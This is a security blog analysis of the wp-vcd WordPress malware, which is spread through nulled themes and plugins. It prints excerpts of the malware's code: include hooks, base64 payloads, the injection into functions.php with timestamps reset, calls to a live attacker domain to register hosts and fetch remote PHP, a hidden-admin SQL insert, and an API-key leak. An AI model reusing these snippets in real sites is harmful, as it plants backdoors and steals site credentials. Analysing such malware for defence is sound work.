WordPress sites are in danger of malware called wp-vcd, which is hidden in legitimate WordPress files and that is used to add a secret admin user and grant hackers control over infected sites. The malware was first spotted online this summer by Italian cybersecurity specialist Manuel D’Orso. The original version of the malware was loaded via an include call for the wp-vcd.php file and injected malicious code into WordPress core files such as functions.php and class.wp.php. Then this was not a massive campaign, but in the last months, the attacks continued and evolved.

Last week, Sucuri noticed a new version of this malware that injected malicious code inside the legitimate files of twentyfifteen and twentysixteen — the default themes that shipped with the WordPress CMS in 2015 and 2016, and which are still found on a large “[The] code is pretty straightforward and doesn’t hide its malicious intentions by encoding or obfuscation of functions,” Sucuri said.

Hackers are not interested in whether the topics are active or are not and used their files to hide malicious code. This code creates a secret new admin account called 100010010. The purpose of this backdoor account was to open a connection to infected sites so that hackers could carry out attacks later. According to Sucuri security researcher Denis Sinegubko, the wp-vcd malware is now preinstalled inside pirated WordPress premium themes offered for download for free on some sites known for providing nulled scripts, themes, and plugins for various CMS platforms.

 

wp-vcd used to inject spam on infected sites

Sinegubko says that since Sucuri saw a resurgence of the wp-vcd malware in late November, attackers have used wp-vcd backdoor accounts to insert spam on infected sites. Some of these spam messages also led users back to the websites offering the nulled themes, helping wp-vcd authors propagate their malware and expand their network of hacked sites. According to Sucuri, hackers use vulnerabilities in outdated plugins and threads to upload malware wp-cvd to vulnerable sites. Users will be safe if they use any basic web application firewall (WAF) that would have spotted and prevented the modification of core WordPress files. Some of the affected sites contained a malicious file called 'wp-vcd.php' inside wp-includes folder and the same was included in wp-includes/post.php and functions.php files.

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
[..Rest of File..]

On some sites there was no file named wp-vcd.php, but instead the file named ‘class.theme-modules.php‘ was included in theme’s functions.php file.

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

In a few sites we looked at  there was no file named wp-vcd.php or class.theme-modules.php, instead we found a piece of code written inside theme’s functions.php file. 

The code seems to download a content from a malicious website (see the below screenshot) with varied top-level domains such as .xyz, .com,.cc, .me etc…Though .com, .cc & .me domains didn’t load, .xyz just displayed a strange creature with a message “That’s it! Come on over here! “. Have a look at the screenshot below.

 

The first thing to understand how to defeat an enemy is to understand it.

The cause of WP-VCD attack is a nulled theme or a nulled plugin. Inside the plugin installation file many times is present this directive:

[Mar 07 17:06:01:1520435161.070848:2:info] Examining URLs found in posts we scanned for dangerous websites
[Mar 07 17:06:00:1520435160.865169:2:info] Adding issue: File appears to be malicious: wp-includes/post.php
[Mar 07 17:06:00:1520435160.860856:2:info] Adding issue: File appears to be malicious: wp-content/themes/storefront/functions.php
[Mar 07 17:06:00:1520435160.856875:2:info] Adding issue: File appears to be malicious: wp-content/themes/Divi-Child/functions.php
[Mar 07 17:06:00:1520435160.852678:2:info] Adding issue: File appears to be malicious: wp-content/themes/Divi/functions.php

A quick scan (results above) with a plugin such as WordFence shows up the initial infected files in a scan pretty easily.

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) 
  include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>
<?php

/*
Plugin Name: Example
Plugin URI: http://example.com/
Author: John Doe 
....
*/

That directive load a script that will spread the malware. Opening that file is possible to found the malware code:

<?php
 
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
DEFINE('MAX_LEVEL', 2); 
DEFINE('MAX_ITERATION', 50); 
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);

$GLOBALS['WP_CD_CODE'] = 'PDHstAgXchan5E3JlcG9ydG...

So the first step to do in order to defeat the malware is to delete the involved plugin (or at least remove malware code from the plugin).

 

wp-vcd.php

The injected wp-vcd.php file starts with a long base64 encoded string named $install_code

$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
   $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
    if (strpos($content, 'WP_V_CD') === false){
        $content = $install_code . $content ;
        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
    }
    else { $ping = false; }
}

then it populates remotely a database/array of hostnames and passwords of the code injections via o.php and downloads the content of a remote txt file inside class.wp.php

$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                       @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));

You can add your own websites if you want

$ curl "http://www.aotson.com/o.php?host=google.com&password=0rly?"
===========Inserted                                                                                                                                                                      $ curl "http://www.aotson.com/o.php?host=google.com&password=0rly?"
0rly?

 

class.wp.php

class.wp.php tries to inject a user inside the wp db

$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");

And messes with an Envato Market WordPress Toolkit API key, probably as a way to update themes

if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
 echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}

Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory

$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
   $handle = fopen($tmpfname, "w+");
   fwrite($handle, "<?php\n" . $phpCode);

Inside codexc.txt we found some variables and a pair of Envato Market themes are cited

//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php');
//file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);

probably past victims. The first was a real estate in London (now down) and the second is a surname in the Netherlands.

 

functions.php

The b64 is injected at the top of functions.php, and seeks inside the wp db for posts and links to substitute them with new content

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

The html content is in part present inside the php, and in part downloaded remotely, with the help of the remote code1.php

if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))

which provides the main div

<style>.crdtsp{position:absolute;left:-1000px;}</style>
<div class="crdtsp"> 
<a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>

Even with a Google Analytics embed. With a rapid search with Google we can see that the attack was effective on many websites. Some of them very recently. It goes without saying that both aotson.com and downloadfreethemes.download take advantage of the new domain privacy services to protect the identity of the registrants. Both use WhoisGuard by Cloudflare.

 

Conclusion

Although that’s not a particularly dangerous malware, extra care is needed to avoid to become victim of this kind of attacks even with an updated WordPress install. Keep a firewall with core files changes monitoring and always update themes. In our next article we will show you the actual cleanup of an infected site.

Facebook Comments